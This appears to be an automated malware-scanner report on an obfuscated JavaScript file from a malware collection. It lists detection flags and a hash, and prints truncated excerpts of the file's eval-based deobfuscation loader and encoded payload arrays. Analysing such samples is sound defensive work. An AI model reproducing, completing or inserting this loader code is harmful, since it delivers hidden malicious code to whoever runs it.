Suspicious ^66% javascript-malware-collection Download

20151210_a0c64ff6cdb5e3af2a1f52cd81af351d.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-256711630ca31433c569d0e4b73607a6a0f7db916f1164e4408b7052a7f67f9f672

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var QxtgzTGNfKtkk=[];
2dyyGcVX=(-208+208)/365;while(true){if(dyyGcVX>=(115497+87)/903){break;}QxtgzTGNfKtkk[dyyGcVX]=String.fromCharCode(dyyGcVX);dyyGcVX++;}
3function tpTzF(QwumFuINRPq,LEIpbuKoANbIc,wxblcXJJ){BrkX=parseInt(QwumFuINRPq,LEIpbuKoANbIc);LTwVH=BrkX.toString(wxblcXJJ);return LTwVH;}function IBSWpBWAjtPfhoz(SPVHkWndSQcAStrqZ){eval(SPVHkWndSQcAStrqZ)}
4function iSmnxgNjepbmXIfxvWxesCgFPmGCgDwjeUBqldDzIYFijrGHCauMrQ(dfCAxqUlCPMSc,zaqNiYtsaepSrv){ return QxtgzTGNfKtkk[tpTzF(dfCAxqUlCPMSc[zaqNiYtsaepSrv],(8313+287)/344,(8856+84)/894)];}
5function qDEdxPF(tTEgGneXIJtEycTpLmSPMZiBkWZAIkGPylJG) {return !isNaN(parseFloat(tTEgGneXIJtEycTpLmSPMZiBkWZAIkGPylJG)) && isFinite(tTEgGneXIJtEycTpLmSPMZiBkWZAIkGPylJG);}
6function JjNIlSOejow(hoYFemVi,LBUETG){return hoYFemVi.split(LBUETG)}
7var t=[];t[0]="d";t[1]="a";t[2]="d";t[3]="a";t[4]="4i";t[5]="3m";t[6]="4e";t[7]="17";t[8]="2h";t[9]="17";t[10]="2b";t …

Massive array index assignment line 8

8:3030… ";d[753]="23";d[754]="22";d[755]="1g";d[756]="17";d[757]="17";d[758]="4n";d[759]="d";d[760]="a";d[761]="17";d[762]="17";d[763]="17";d[764]="17";d[765]="17";d[766]="17";d[767]="17";d[768]="17";d[769]="34";d[770]="46";d[771]="17";d[772]="2b";d[773]="17";d[774]="1o";d[775]="29";d[776]="17";d[777]="3c";d[778]="40";d[779]="30";d[780]="1l";d[781]="4c";d[782]="4b";d[783]="4f";d[784]="45";d[785]="4g";d[786]="45";d …